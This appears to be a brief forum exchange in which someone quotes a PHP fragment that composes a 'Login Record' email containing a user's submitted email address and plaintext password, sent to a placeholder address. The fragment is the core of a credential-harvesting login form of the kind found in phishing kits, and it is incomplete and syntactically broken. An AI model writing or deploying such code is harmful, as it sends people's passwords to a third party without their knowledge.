And which part of the code sent the mail?
Do you mean this part?
$email = "email@mail.com";
$to = 'email@mail.com';
$subject = 'Login Record';
$message = "User Login\n\ndate_time= " .
date("d/m/Y") . "\nuser= " .
$_POST['email'] . "\npass= " .
$_POST['password'] . ";
$subdate = date("d/m/Y");